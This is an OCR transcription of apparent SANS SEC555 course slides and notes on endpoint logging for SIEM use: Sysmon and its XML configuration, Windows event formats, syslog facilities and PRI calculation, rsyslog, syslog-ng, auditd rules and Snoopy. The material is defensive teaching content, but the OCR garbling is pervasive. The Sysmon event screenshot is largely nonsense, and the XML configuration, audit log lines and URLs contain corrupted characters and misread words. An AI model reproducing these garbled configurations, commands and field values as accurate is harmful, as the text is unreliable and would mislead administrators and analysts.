* Processes « Modifications of file ereation
» Network connections times

* Driver and DLL loading « Process access

+ Registry key modification * WMI Monitoring

Provides process hashes and parent processes for analysis

SECELE 1 KiEm wiily Tarincal A;::}:plu:_: i

Sysmon

sysmon was designed 1o generate logs of interesting activity commonly associated with malicious or anomalous
activity. By themselves, the logs are useless: however, when looked at by an analyst, they can be extremely
powerful. For example, Sysmon can monitor all processes being launched along with the parent process tha
spawned the new process and can provide a hash of the new process. On top of this, the log also includes any
command line parameters along with other useful information, Collecting this data centrally and evaluating il
lets you know exactly what is taking place in your organization,

Similar to NetFlow, Sysmon can optionally log all network connections being made. However, unlike NetFlow,
Sysmen records the process that either made the network request or is receiving the network request. This level
of detail i5 great for troubleshooting, incident response, and establishing firewall rules for a detault deny policy.

Under the hood, Sysmon utilizes built-in Windows API calls and ETW tracing to generate logs. This allows for
minimal performance overhead. Keep in mind it will generate a lot of logs. This author likes to see Svsmon
instelled on all systems so that the logs are there if needed. However, it may not make sense to try and collect all
of these logs centrally unless major filtering is done. Sysmon allows fine-grained filtering on what to log. Far
example, you can create a configuration rule to log all network connections unless they come from the process
iexplore.exe,

Sysmon is built for both desktops and servers, It can be deployed to Windows 7 and newer as well as Server
2012 and newer operating systems, Mark Russinovich wrote a presentation for RSA Conferenee 2016, which
does & great job explaining Sysmon, its use cases, and how to configure it.

References:

hitps:/idocplayer.net/1 9532221 -Tracking-hackers-on-your-network-with-sysinternals-sysmon. himl,
https:/secS35.com/5e
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Sysmon Example

Eeard 1, byenen

General | Detaky

Procdis Creabe
L Ty |01 =B DR 173
Procesrluis {Eal - Ee - 20a- D000- B0 * D SR dadt|
Piocnsidh 1l
g £ Windswi Dptem S hmenat exe
fCmmrvmand] e tenean 1
Cumertdivenory T b been [ ST, WU LAMETTES
Linen W AUTHORITH ST
LewgerGinick (Rl RS L. S e SR~ TS0 )
thpnhtﬂlll'-' 5

rminattaimng

nlegetrl evet;

Harrae Fi 1= TOTREAARL

FarmtfrocetaiHac: S 1603230 0- BaEe 00002105 TRt

PaneetPincenid 18275

Famrstiyringes CAMED Do Sy 3T o o

Pt il e O Wil oyshem L2 omd. e 1o 2 AP rogreen Flesint=h SR VALLEMETTEurve_netebat™ § + log dartnt 3 51

Loty Blirrm Wlimsaieft Windomt- SromonOpeaban sl

Source fgman Legges TFETHIET 1y

Feent £h 1 Tmi Cabegony  Pepcess C e ke FrocessCrers)
Lawuk ATl Ly

Ligre FYSEEM Carnisaler DOITEILPT tusbanl

\‘ﬁ:‘;‘.h SECSST | SEM with Theoond Ananmce

Sysmon Example

In this slide, the parent process of C:\Windows\Systern32'cmd. exe is running the barch script at C\Program
Files\Inte ' SURYWILLAMET TE'sve_install.bar, This iz being executed by the NT AUTHORITY'SYSTEM
gecount, and a hash of the executable being spawned (C:\Windows'\System32\timeout.exe) is provided.

Collecting this leval of detail allows tor studving and understanding what is happening in your environment. For
example, if vou received this log, would vou know what WILLAMETTE is? It sounds odd: possibly it is
malieious, but it is in the C:\Program Files\Intel folder so maybe it is not. Investigating this would reveal it is an
Inte! service for providing power savings and is installed as part of the Intel Driver Update Utility.
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Sysmon Configuration

«Sysmon schemaverslon="3.28">

3 ifl-= Capturs all hashes »
GI‘E]]U]HI .I.'Dgglng cHashblgorlthaysshal  nd5< Hasndl gorl thms »
1 sChackRevocation» </ CheckRevocationy
ava]lah]e (EventFllterings
€l-- Log all delvers edcopt &F the sigrature --»
« [UUses XML Cﬂnﬁg 4l-- contains Microsoft or Windows «-»
<lriverload oneatch="ewclude™s
x i <Signature condition="contalns“smicrosoft«/Signaturas
1 Caﬂ ]n{ﬂude or Ex{:lude on. Signature condition="contains”mwindows</Signatures
- h & /0riverloads
Pat <] Log all process creatlons unless they have a8 -«

l-- Intagrity level of medlum --3
Processireate onmatch="exclude™>
clntegrltylovel :Mediume fIntogritylevels

* Process/lmage

* [Digital Signature </ ProcessCreates
] Do not log procass termination --»
* Integrity Level ProcessTerainate onmateh="1nclude™ /»
<l-- Log network connectlon §F the process isn't Internetbwplorer --3

dHetworklonnect onmatoh="nxcloda™ s
<Image condition="and with"»lexplots.sxed/inages
£ MetworkConnects
< Bventiilterlngs
</ hysmon:

SECS55 | SPEM with Tactical Analvtics

Sysmon Configuration

Configuring Sysmon to log or not log something can be done with basic command line switches or by using the
sdvanced configuration. The advanced configuration requires the use of XML configuration files. When
deploying Sysmon, it is usually recommended to use the pdvanced configuration files as the level of granularity
15 often used to include or exclude certain things.

The following commands can be used 1o find more information on building a Sysmon configuration file:

sysmon.exe --help

sysmon.exe -7 config

The picture in this slide also shows an example of a functional XML configuration file used for Sysmon version
5, The main thing lo pay attention to is the use of onmateh="inelude" and onmatch="exelude” In the case of
onmateh="exclude,” all items are logped except the ones specifically excluded. So, a statement reading
=ProcessCreate onmateh="exclude"></ProcessCreate™ would log all process creations as no exclusions are
specified. In contrast, onmateh="include” only includes items specified. The configuration of <ProcessCreate
onmatch="include"></ProcessCreate> would log nothing because nothing is specified 1o be included for logging.

If attempting to build a new Sysmon configuration, consider using a community-provided configuration for a
starting point.

Relerenge:

hops://github.cony SwiftOnSeeurity/sysmon-config, hitps://sec555 com/60
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Sysmon Modular

Project by Olaf Hartong [Z "% T
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Sysmon Moduolar

Olaf Hartong supports a GitHub project called Sysmon Modular, Sysmon Medular provides a breakout of
each Sysmaon functionality into subfolders. The subfolders conmin inclusion and exclusion configuration files
which also include MITRE technique information, Having multiple configuration files thar are based on each
capability of Sysmon simplifies organization to support and maintenance,

Deploying Sysmon Modular requires running a PowerShell command that combines all the individual
configuration files into a single XML configuration. Installing Sysmon or updating it requires running
sysmon.exe or sysmonbtd,exe and referencing the generated XML configuration file.

Reference:

hitps.//github.com/alathartong/sysmon-modular
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Windows Logging Summary

Windows logs come in multiple formats
« EVT, EVTX, and ETL

Current operating systems use EVTX, which is XML-based
« This allows for unlimited fields and granular logs

What gets logged is controlled by audit policies

Custom logs can be created by software or scripts, such as
with PowerShell

SELEES | FIEM winh Tl ‘r.:ll;r:l.r.:. 1

Windows Logging Summary

Windows logging is simple and complex, This is because there are multiple formats of event logs and Jogs can
be granular, For proper design, audit policies must be deployed to enable or disable Windows events,
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Syslog is the primary method of logging for Linux/Unix
* The default behavior is to listen using a local socket
Multiple syslog daemons exist
* Default log location is /var/log/
* Filenames such as auth or kern specify log category
* Log level specified by severity in daemon configuration
* Daemon can be configured to accept and to send logs

SECESY | HEEM with Tactival Anahyoes o

Linux Logs

In comparison to Windows logging, Linux logging is substantially different. This adds 1o the challenge of
system administration as different platforms reguire different administration. In the case of Linux, syslog s the
default logging service, and even then, there are multiple flavors of syslog in use today,

The defiult behavior of most systems is to log w /varilog, and filenames such as auth.log are specified o
categorize the log. This is also referred to as the syslog fucility in many cases, By default, most syslog services,
also called daemons, only log locally. However, they can be modified to ship logs over the network or even
aceept logs from other network systems,
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Common Log Files

/var/log/messages — Global messages (general activity)
/var/log/auth.log — Authentication-related logs
/var/log/boot.log — Boot time events
/var/log/daemon.log — Background process events

/var/log/kern.log — Kernel messages (often used for
troubleshooting)

/var/log/cron.log — Events related to scheduled tasks
/var/log/secure — Events related to su or sudo access

SECSST | SR winh Fcal Aty - @

Common Log Files

This slide lists out some of the more commaon log files found on Linux operating systems. Where Windows uses
channels, Linux uses filenames to categorize events. Linux applications also will often log to /var/log but do so
in a subfolder. For example, MySQL typically stores logs in /var/log/mysql/ and Apache usually uses
fvarflog/apachel!.
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Facility and Severity Output

Facility (0-23) Severity (0-7)

«  kernel - UUCP % Emergency: system is unusable
« user * clock daemon “ Alert: action is needed

* mail system + security/auth + Critical: critical conditions

+  system * FTP daemon % Error: error conditions

daemons - NTP
* security/auth , o0 4ydit
* syslogd » log alert
« line printer .

« network news

Warning: warning conditions
Notice: normal but significant

Informational: informational

clock daemon MESSAZES
» local use (0-7) Debug: debug-level messages

o B D

o
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Facility and Severity Output

Syslog uses the facility Lo describe what a log is for, Custom applications often use local use O through 7.
Severity is used 1o describe the importance of a Jog,

Facility

Per RFC 5424:

Numerical Code Facility

0 kernel messages

I user-level messages

2 mail system

3 system dagmaons

4 security/muthorization messages

Ln

messages ganerated internally by svslogd
line printer subsystem

network news subsystem

UUCP subsystem

clock daemon

(=S S A =
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EH
11
L2
13
14
15
16
17
18
19
20
21
22
23

Severity

Per RFC 5424:

Numerical Code Severity

= & b B R = D

Reference:

security/authorization messages
FTP dagmon

WTP subsystem

log audit

log alert

clock daemon (note 2)
local use § {Jocal()
local use | (bocatl)
local use 2 (local2)
local use 3 (local3)
local use 4 (locald)
local use 5 (locals)
local use 6 (localf)
local use 7 {local?)

Emergency: system is unusable

Alert: action must be taken immediately
Critical: critical conditions

Error: error conditions

Warning! warning conditions

MNotice: normal but significant condition
Informational: informational messages
Diebug: debug-level messagas

https:/fwww etforg/rfc/ric 3424 o, hitps://sec335.com/T2
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Syslog Config Example (Ubuntu 16.04 System)

auth,authpriv.* /var/log/auth.log
authpriv.=warning @10.5.55.10

* *.auth,authpriv.none -/var/log/syslog
cron.warning /var/log/cron.log
* linfo /var/log/verbose.log

kern.* -/var/log/kern.log
#lpr.* -/var/log/lIpr.log
mail.* -/var/log/mail.log

EFiTLRE
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Svslog Config Example (Ubuntu 16.04 System)

This example is from the defiult Ubuntu 16.04 rayslog configuration file. The traditional syslog format is
compalible with the newer rsyslog format. This example lollows the traditional syslog format for specifving
what gets logged and where. The left column specifies the facility and severity levels o log, and the right
column specifies the destination,

auth.authpriv.* fvarlog/anth, log

This mkes any logs with a facility of auth or authpriv and sends them to /varlog/auth. log, The asterisk
referenced means all severities.

suthpriv.=warning [@10.5.55.10

This takes any logs with a facility of authpriv and a severity of warmning and sends them over UDP port 514 to
10.5.55.10). The equals sign specities an exact match on severity, so only o severity of warning will be included,

cron.info Mvarflogieron, log
I'his takes any logs with the cron facility that have a severity of info or higher and writes to (var/log/cron.log,

* linfo fvarflog/verbose log
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This takes any logs with any facility that have a severity of info or lower {which would include info and
emergency severities) and writes them to /varlog/verbose.log.

Cronwarning Mvar/log/eron, log

This takes any logs with a facility of cron and a severity of waming or higher (error, critical, alert, or
emergency) and sends them to fvarlog/ecron.log.

kern.™ =varlogkem. log

This takes any logs with a facility of kern and with any severity level and sends them to /var/log/kern.log, The
dash before /var/log/kern.log means that syslog does not have to flush the log to disk after each log. This is often
used for log files that receive a lot of logs. Having to confirm the write to dizk could cauze unaccepiable
performance issues. However, should a system crash with this setting enabled. it is possible that logs may not
have been committed to the log file and thus, can be lost.

© 2022 SANS Institute
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Originally developed in the 1980s by Eric Allman
« Initially was designed for sendmail

Limited feature set
= Basic output options such as console, file, or remote

* Facility used to classify logs and severity used to define log level
* Syslog often used by network devices

* Typically, only supports UDP transport (default port 514)
Modern systems use rsyslog or syslog-ng

R0 | SEM Wit Tactioal Anghnocs (9

Svslog

Syslog first made its appearance back in the 19805, Originally, it was designed to log on behall of sendmail, a
popular email daemon. However, the security community quickly saw its potential and began to adopt it for
other things. Like many projects with quick adoption, it has changed over time.

Al its basic configuration, syslog is used to log messages to disk. For example, lagin utkempts get stored in
varflog/auth, log. Should these need to be sent to a remote logging host, the standard svslog daemon nllows
network transpartation over UDP port 514, The original syslog service did not su pport TCP, SSL, or TLS,

Referenies:

hitp:/fwww liquisearch.com/syslog/history, https://sec535.com/6)
hitps:iwww.systog-ng.com/products/open-source-log-management, hitps://see5535, com/62
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Syslog Example ()
()
/var/log/auth.log )
Jan 4 14:43:13 logparse sudo: Jhenderson : )
1 incorrect password attempt ; TTY=pts/1l ; )
PWD=/var/log ; USER=root ; COMMAND=/bin/su O
)
When transported over network: o~
<81>Jan 4 14:43:13 logparse sudo: )
jhenderson : 1 incorrect password attempt ; -i
TTY=pts/l ; PWD=/var/log ; USER=root ; o
COMMAND=/bin/su -
ECSSY | SIEM with Taites| Aimics . 4 f_':]
J

s
Syslog Example =
This slide represents a failed login stored in /var/logfauth.log of an Ubuntu 16.04 system. Notice the difference O
is minor between syslog on disk and syslog over the network. On disk. the log facility/category is identified by )
the filename of auth.log, Over the network, this is identified using the syslog PRI field, which is the beginning o
<815, The integer in this field comprises the facility and severity for the log. To find the facility and severity, a )
math formula must be applied. The math formula for the PRI field will be described in a few slides. -
Notice that /var/log/auth,log does not have anything that describes the severity (debug, info, warning, etc.). This ) _"
i8 because the default behavior of rsyslog on Ubuntu 16.04 is to place all severity types for the facility auth into L)
fvar/log/auth.log. 0)
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Syslog Breakdown

<B81>Jan 4 14:43:13 logparse sudo: jhenderson : 1
incorrect password attempt ; TTY=pts/l ;
PWD=/var/log ; USER=root ; COMMAND=/bin/su

PRI = <81> Message = jhenderson : 1

Time/date = Jan 4 14:43;13  1ncorrect password
attempt ; TTY=pts/1 ;

Source host = logparse PWD=/var/log ; USER=root

r

Source process = sudo : COMMAND=/bin/su

Sometimes includes process ID such as CRON[1464 ]

SECESF | HEM wilth Tictuaf Ajusprics. 47

Syslog Breakdown

Syslog messages sent over the network typically consist of five main fields. The PRI field starts at the beginning
and is an integer that is calculated to store the facility and severity label for an event. Following this is the
timestarnp that's specific to the system generating the event, 1f the source system’s time is off, then this
timestamp will be incorrect, It is also important to note that the timestamp is specific to the time zone of the
source system, This will need to be accounted for if an organization contains syStems across multiple time
zones, After the timestamp is the source hostname, followed by the source program that generated the event log,
Finally, the message contains the specifics of the log,

Unlike Windows, Linux does not generate a unique event 1D specific to an event. This often requires string
searching or adding fields or tags 1o report on specific events such as logons. To garner value, the message ficld
aften requires further breakdown and parsing, This is primarily because syslog dpes not use structured schemas
such as XML, This, combined with the freedom available to programmers on how the message field is used per
program, causes a lot of extra labor to make sense of Linux logs,
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Syslog PRI

Syslog messages sent over network store facility and
severity in the computed PRI field
» PRIis 1-5 characters surrounded by <>
* Example <189>
* Facility = PRI/8 rounded down to whole number
* Example: 189/8 = 23.625 so facility = 23 or local7
* Severity = PRI - (Facility * 8)
« Example = 189 - (23 * 8) = 5 so severity = 5 or notice

SECSS5] SIEM wth Tammesl Mnatyies

Syslog PRI

A new analyst looking at a raw syslog message often tends to ignore the syslog PRI field, thinking it is just noise
in the log. This is because it looks out of place. For example:

<Bl>Jan ¢ 14:43:13 logparse sude: jhenderson : 1 incorrect password
attempt ; TTY¥=pts/1 ; PWD=/var/log ; USER=root ; COMMAND=/bin/su

The <81>looks like it may just be a random number tacked to the front of the log. However, it is the syslog PRI
field. This field is an integer that can be mathematically reversed into the numeric facility and severity codes,
The math formulas on this slide show how to reverse the integer into the proper codes. In the example of <81,
the facility would be 10, which is the facility code for security/authorization, The se verity would be 1, which is
the severity code for the alert,

48 B 2022 SANS Institute
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One common Linux syslog daemon is Syslog-NG!
= Capable of handling 600K+ messages a second
» Enhanced with many filtering and custom parsing capabilities
« Contains many output modules
* Such as Elasticsearch, AMQP, and Apache Katka
* Supports transport over TCP, UDP, SSL, and TLS
Configuration file does not conform to syslog format
» The format is clean and easy to read unlike syslog format

FECH5S | HEM with Taoreci! Amalytice

Syslog-NG

Adfter syslog came Syslog-NG. It was designed by the community lo address deficiencies such as the lack of
TCF, 881, and TLS in standard syslog and was one of the first implementations around central log collection.
Thie biggest change for those switching o Syslog-NG from syslog or rsyslog is that it requires its own syntax as

it has stepped away from the old svslog format, Like many open-source projects. Syslog-NG has adapted over
time, and in its current release, has many capabilities.

In modorn versions, Syslog-NG is able to collect, parse, Alter, and seénd logs to many different locations, For
example, it can be used to send logs directly into an Elasticsearch cluster. However, parsing performanee is nol
as fast as some of the alternative solutions available today. Though, if parsing 1= being done system-by-svstem,
this may not be a big deal,

Reference:

hitps:/fwww.syslog-ng.com/products/'open-source-log-management, https://sec555.com/62
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Rsyslog -
N

Rsyslog stands for rocket-fast system for log processing O
» Supports original syslog configuration format |
* Handles 1 million+ messages per second to local destinations

* Contains many capabilities and features similar to Syslog-NG M
* However, performance is faster, especially with filtering and parsing? D

* Yet syntax can be hard to read and write )

Supports a highly reliable transport method called RELP s
(Reliable Event Logging Protocol) :

SECESS| BIEM winh Tidtienl Alsiiis o "r j
O
Rsyslug o
Rsyslog is another syslog alternative found in modern Linux systems. A core principle of reyslog is that it is (
built for speed. This means even extra functionality, such as parsing, is analyzed and modified to make it as fast 0
is possible. Logs without parsing can achieve speeds of over a million logs pér second. Yet even with parsing, =
rsyslog is insanely fast, J
0
Both rsyslog and syslog-ng are great examples of community-maintained projects. Over time, these projects )
have gone from local and remote logging solutions 1o full-blown log agents and parsers. Rather than installing a
third-party log agent, these services van be configured to collect custom logs and transport them where they
need to go. This allows for log collection and parsing without the performance and maintenance overhead of )
additional software. However, the benefit of collection without an agent must be weighed against the ability to _'
use  standard configuration for third-party agents across multiple platforms. _J
)
One interesting aspect of rsyslog is that it has some special parsing capabilities, It uses the library liblognorm (as )

opposed to regex) to perform string searches to look for pattern matches. When this is utilized instead of régex,
parsing is done at minimal overhead and can sustain high events per second. This is often paired with pre-saved
pattern lookups, such as for a Cisco swilch, to automate parsing while keeping performance a top priority. )

References:

hitps://www.rsyslog.com, hiips://sec355,com/63
hitps://rainer gerhards. net/201 3/0 1 /performance-of-liblognormrsyslog-parse. himl, hitps://sec353.com/64
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Additional Logging

Similar to Windows, there are third-party programs that
can provide additional logging

» Linux Auditing System*: An access monitoring and
accounting system maintained by Red Hat

« Snoopy Logger2: A command line logging tool
» Seripting can also be used to create logs
Other third-party programs exist

SECSEE | SIEM Welth Tartimd Adafniis - §5

Additional Logzing

When default Linux logs are not enough, there are options 1o ingrease logging, Probably the most common
logeing 100 is the Linux Auditing System developed by Red Hat. Other touls, such as Snoopy Logger, provide
logs of every comimand line entered.

References:

https:/linus.die.net/man/8/auditd, hitps://sec555. com/65
hitps:/github,com/a2ofsnoopy, https:/seei 55 com/bh
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Provides a customizable Linux Auditing System
Monitors:

* File access - Security events (such as
+ System calls failed logins)

» Program execution » Network access

* File changes

Granular monitoring allows advanced use cases
« Also, adds complexity and performance overhead

SECS55 SIEM wrh imoscs] Amabroce

auditd

The Linux Audit system, also referred to as auditd, is maintained by Red Hat but is supported and availahle to
install on just about every Linux system such as Ubuntu, Suse, CentOS, etc. Similar 1o Sysmon, this service
provides additional logging such as recording user activity and process activity, To be truly effective, auditd must
be configured and told what to log or what not to log, Some Linux systems come with auditd installed but usually
with iogging disabled. This is because the level of logging can be immense and cause performance issues.

With a little care, auditd can be configured to log only under specific use cases. Unfortunately, the syntax of
auditd can be difficult to understand and use. However, because of the granularity allowed. administrators can
fine-tune exactly what gets logged. There are multiple community provided auditd configurations. For example,
Florian Roth provides an auditd configuration file that is a great start for organizations.

References:

https://access.redhat.com/documentation/en-US/Red Hat Enterprise Lin ux/6/html/Security_Guide/chap-
system_auditing, heml, hitps:/sec555.com/&7

https:/{gist.github.com/Neo23x0/9fe58c0ci979:01 Ta389b901d | Yddiee, https:/5ec555. com/68
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Audit Example

PID is process ID of executable, PPID is for parent process
UID is user ID of the user

AUID is the audit user ID (tracks actions against login even if the
user changes with su or sudo)

| bype=BYSCALL msg=audit (1595042069.9E0:282) : arch=cd00003e wyacall=0%
suocess=yes axit=ll a0=55410{dd?d30 51 =55d10fdaadh) a2=55di0fdanlel
a3=553d10fdBd010 items=2 poid=3751 pid=3761 auid=1000 uid=0 gid=0 euid=}
suid=0 Fauld=0 egid=0 sgid=0 fzgid=-0 tty=pral ses=2 camm="1feanfig"
exa="fabin/lfoonfig" key="ifconfig"

type=SYSCALL meg=audit (1595042102, 1961284) 1 arch=c00003e By3call=59
guccesg=yas exit=0 ab=-559504005920 al=559504005920 az=559504002730
43=558503ebbl 10 ltems=2 opid=4101 pid=4111 auid=1000 uid=1000 gid=1000
enld=1000 suid=1000 fsuid=1000 =2gid=1000 sgid~i1000 fagid=1000 tty=ptsl
gag~2 comm="ifeonfig" exe="/shin/ifoonfig" kejy="ifconfig”

SECSS5 | SIEM with Tacaml falyeies. 81

Audit Example

This slide shows two logs taken from a Linux system. In these examples, o system administrator ran ifconfig and
then changed to the rool user using sido su. After that, they ran ifconfig again. cutting the second log in the
slideshow., Normally, when a user uses sudo, su logs cannot be tracked back 1o the end user a5 all logs now come
from root, However, with auditd logging, the auid field identifies who the user was based on initial login.

Here's o breakdown of the events and logs:

I, The user with a user 1D of 1,000 logs into the system,

-

This user then runs the command "ifconfig,

3. Auditd generates the first log in this slide. It containg auid=1000 wid=1000 gid=1000. The auid is
generated |1 associating all session activity back 1o the original user, which, in this case, Is the user with
the user 1D of | 000,

4. The user with a user |D of 1000 then changes user accounts by running sudo su. This makes them root.
Root has a user 1D ol 0.
5. This vser then runs the command "ifeontig®,

6. Auditd generates the second log in this slide. It contains auid=1000 uid=0 gid=0. This shows that the
action was performed as root (uid=0); vet the session and subsequent actions are actually from user [D
106, This can be raced by looking at the matehing auid field.

While ifconfig is recorded as being executed, this log does not contain a hash or digital signature related to the
binary, In order o add this, the Linux auditing system would need either patching or an upgrade w include this
capability, Alternatively, 1 log agent would need to augment the log during data collection prior to shipping it off.
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audit.rules Example

# First rule - delete all

-D

# Increase the buffers to survive stress events.
# Make this bigger for busy systems

=b 320

-a exit,always -F arch=b64 -5 sethostname -5 setdomainname
-k testrulel

-w /etc/passwd -p wa -k passwd

-w /sbin/ifconfig -p x -k ifconfig

-

SEL35S [ WEM e ch Tacocal Anklytics

audit.rules Example

Auditd allows for extremely granular monitoring. As a result, it is usually best to plan exactly what needs
logging before writing the auditing rules. A general rule of thumb is to try and log only what vou intend actually
to look at. In the case of auditd, logeing everything can have adverse effects on system performance,

The audit.rules file is composed of three types of rules: Control rules, filesystem rules, and system call rules,
Control rules are used to define configuration settings for the audit system.

Control rules

In this slide, the first rule is —D, which clears out all rules art the beginning of a configuration file load. Then. it
sets the backlog size limit using -b. In this case, the buffer is set to 320 logs. The limit is likely too small for
even moderately accessed systems and may need to be increased to 1024 or higher. The higher this is set, the
more memory is consumed to handle the buffer. To monitor if your buffer is set high enough, run the command
"auditet] -s" and look at the field called lost. I it is not set to zero, then some logs have been lost. and you may
need to increase the buffer size,

System call rules

System call rules monitor system calls from processes or users. In this slide, the first custom rule is an example
of a system call rule. It takes place after the -D and -b control rules.

54 D 2022 SANS Institute
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-a exit,always -F arch=h&d -8 sethestname -5 setdomainname -% system-locale

-a stands for append rule and is applied when monitoring system calls. [17-A was used instead of =a it would
append the rule at the top of the rule list instead of the bortom. Immediately following -a or -A should be one of
four possible options; lask. exit, user, or exclude. In almost all cases, exit will be used.

-F arch=hfd refers to the 32-bit or 64-bit architecture, In this case; the syscall for 64-hit calls is being moniflored.
Mote that, in some cases, you may need (o monitor both 32-bit and 64-bit svscalls on a 64-bil Linux system.

-5 refers 1o the system call to monitor. [n the first rule, both the sethostname and setdomainname system ealls
are set 1o be monitored. To see a full Tist of system calls to moniter, run the command ausyseall --dump. Though
not recommended, alternatively. all system calls can be monitored by using -S all.

<k is used to specify the key name. This is an optional field that might be thought of better as an optional rule
name. 1T you specify -k such as -k testrule] and a log gets generated from this rule, then key=testrule! will be
recorded in the log. This is useful for finding which rules are genernting each log. It is a good practice to always
specify =k with a unique rule deseription or name.

File monitor rules

The last two rules specified in this slide are examples of file monitor rules. They are as follows:

=W Jetefpasswd —p wa -k testrule?

-w Jfshin/ifconflg -p % -k testrulel
-w specifics that the rule is a watch rule, The file or directory following -w specifies what is being watched.

-p specifies the permissions that are Togged. The possible options are r (read), w (write), ¥ (execute), and a
(attribute change). In the first example, -p wi is used to monitor writes and atiribute changes to the /ete/passwi
file. This would log when new users are added to the system. The next example of <p x is used to monitor each
time /shin/ifconlig is executed. Both examples use -k to give the rules names that are recorded in the logs

they generate,

Many of the rules written within audit.rules are file monitor rales. This is because Linux treats almost everything
25 a file. Even hardware is stored as a special file. Another thing that is significant to know is that rule ordering
15 important. Rules should be written in such a way that the most-ofien-hit rules are at the top. Failure 1o do so
causes more performance overhead.

For more details on audit.rules, try running "man audit.rules” on a system with audit installed,
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Snoopy Logger

Designed to log command line entries to syslog

* Snoopy maintainers: "Snoopy is not a reliable auditing solution.
Rogue users can easily manipulate environment to avoid logging
by Snoopy™

So worthless to enable?
« Beware of the perfect fallacy solution
« This can ultimately lead to catching an adversary

More on command line logging to be covered...

SRS | JIEM mad) Toctal Ameytics 14

Snoopy Logger

The Snoopy Logger is a tiny library that, when installed, logs executed commands. This ¢an be used to see
exactly what is being executed on a system. lronically, the maintainers of Snoopy publicly state that it can be
casily bypassed by rogue users. This does not mean it is not of value. Can an adversary or user bypass it? Yes,
Will they always know to bypass 1?7 No. One of the prominent goals in a tactical STEM is to lay down so many
possible tripwires that even if one is avoided another will be triggered. Put another way, even a SIEM has
defense-in-depth and multiple layers. While one or more may be bypassed, it only takes one successful tactic to
catch the bad guys,

Refersnce;

https://github.com/a2o/snoopy, https://sec355.com/GG
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Sysmon for Linux

Open-source system monitor tool developed to collect
security events from Linux environments

« Uses eBPF (Extended Berkeley Packet Filter)
« Transports logs via Syslog

+ Utilizes same Event IDs as Windows allowing for easy
integration and correlation within the SIEM

» Possible replacement for Auditd

EE;EEE | SIEM wh Taccal Anatytcs

Sysmon for Linux
Developed by Sysinternals and released on the 25" anniversary of Sysmon 1.0 October 14, 2021

Since the windows and Linux version share the same manifest, all events will have the same ficlds when shipped
1o the SIEM allowing for better correlation and consolidated configuration

The articles below explain the installation and operational process

References:
https:insecurity 2021/ 10/ 18/ getting-started-with-sysmon-for-linux/
https:fmedivm.com/olafhartong/sysmon-for-linux-3Tde Tead48575

hitps:/fwww activecouniermeasures.com/huning-for-persisience-in=linux-par- L -auditd-sy smon-osgquery-and-
webshells!
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Windows vs. Linux Logs D)

Windows Linux )

Many desktops and servers Mostly servers and cloud hosting )

» Proprietary logging » Syslog logging _ J

. . L)

Logging control Logging control =

* Group Policy or Local Policy » Syslog configuration : )

« PowerShell *+ Scripting .j }

* Use of Sysmon or other = Use of Audit or other applications j 1

applications -

O

)

RO SIEM with Ticoeal Mighyries — n f- J

O

Windows vs. Linux Logs )

Both Windows and Linux systems have different approaches to logeing. Windows utilizes 2 proprietary log O

approach, and to no surprise, Linux has adopted an open-source approach. Both have sirengths, and both have )
wenknesses,

)

Windows logs allow for a more precise structure due to using XML schemas, and central management of )

Windows logging is simple with group policy. Yet, native Windows systems do not have log agent-like 3
capabilities such as parsing and custom output modules.

Linux logs are intended to conform to community standards but sometimes are open to an application author’s )
whims. Because of the lack of structured format, syslog logs and their corresponding fields can be limited. Yet, )
most modern Linux systems can use syslog not only for logging but for customization, parsing, and much more,

In regard to centralized management, Windows clearly wins although there are multiple ways to centrally

manage Linux such as through scripts, configuration management tools like Puppet, and more. (
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Logs in Linux are significantly different than Windows
» Syslog is the standard format for logs

« Built-in syslog agents such as rsyslog and syslog-ng are
common in modern operating systems

Open-source applications are available to extend or add
logging capabilities such as:

« Auditd

* Snoopy

Linux Logging Summary

EEL355 | HEM with Tacocal Aaalyrics

Linux Logging Summary

Linug logging is primarily built around syslog, This is due to the early and cominual adoption of sysiog.
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» Section 1: SIEM Architecture

* Section 2: Serviee Profiling with STEM
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* Section 4: Baselining and User Behavior

Maonitoring
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Post-Mortem Analysis

* Section 6: Capstone: Design, Detect,

Defend
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Endpoint Collection Strategies

Deciding what to collect and from where is a major task
» Different systems require different levels of logging
* Compliance requirements often affect a subset of systems
* Collection and retention also varies
There is also the problem of how to collect
* Each problem above has multiple solutions
* Multiple wrong answers and multiple right answers

Module focus is on collection points and how to handle

SECS55 | 5B with Tecticul Aaaiptics #l

Endpoint Collection Strategies

Before collecting logs, organizations are immediately challenged with solving three problems: What needs to
be collected, where do I collect these logs from, and how should they be collected? While Section | started the
process of answering these questions, more details are needed. This is an area where a little bit of planning can
oA long wiy.
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A goal of SIEM is to provide early detection

= Similar to the importance of early cancer detection
This requires data to analyze and timeliness

« A decision on where to collect becomes critical

» Given common attacks, what logs are important?

Sensitive

SECSSE | SIEM wetch Tietiek Aeuidpairs

SIEM Goal

A key goal of a tactical SIEM is to provide early detection. In individuals, early detection of cancer can save
someone’s life. In organizations, sarly detection of an adversary can substantially limit damages, The famous
saying of "compromise is inevitable," while nsed to scare people, is true. Yet, il does not need to be as scary as it
sounds. The end goal of an attacker is not the initial compromise. Instead, it is something like stealing sensitive
data, changing or destroving sysiem integrity, etc. A tactical SIEM will carch early signs of compromise and
hopefully enable defenders to eliminate adversary access early enough that their end goal is never achieved.

In order 1o achieve this, early detection data must be available to analyze, Oftentimes, desktops or laptops are
the initial point of entry for attackers. The pictures in this slide demonstrate a traditional attacker methodology.
The atacker bypasses the network firewall by successfully pulling off 2 client-side attack against a laptop. Then,
this system is used to pivot and steal data from a server. The letter C above the firewall and server stands for
commaon. This demonstrates that most organizations will collect logs from these systems. The leter U stands for
uncommen, as many organizations do not collect logs from workstations. Yet if this is & common attack
scenario, the laptop is positioned suitably for early detection.
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Desktops Not Included

Today, client-side attacks are more common
» Means the attack occurs at the desktop
Yet cost of desktop logs is considered too high
« If the strategy is to collect everything, it is true WHAT DO YOU

« If the strategy is to stay nimble and tactical,
it is more expensive not to log ...

If desktops are the main point of attack ...
you might need them

0 LOGEIN ruin.__uzsmps\,
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Desktops Not Included

Unfortunately, most organizations do not eollect workstation and laprop logs due 1w the cost of collection. Yet
workstations and laptops are often the target or entry point of most attacks, 7 the goal is early detection, then
how is it possible to win il logs from these systems are not being collected and analyzed”? The truth is, collecting
everything on workstations is not cost effective. Yet the tactical collection of specific logs is low-cost and is
likely to save an organization money due 1o the benefits of early detection they provide.

Usually, organizations respond that they can monitor these systems using logs from endpoint protection suites,
Unfortunately, many of these systems are focused on known bad actors and will perform poorly at providing
early detection. Application control products and incident response tools can provide a wealth of data but oflen
requires many man hours to configure properly before high-fidelity detection exists. Regardless of third-party
products, the point is that Windows, by default, creates some extremely high-value logs that can be used for
catching malicious activity,

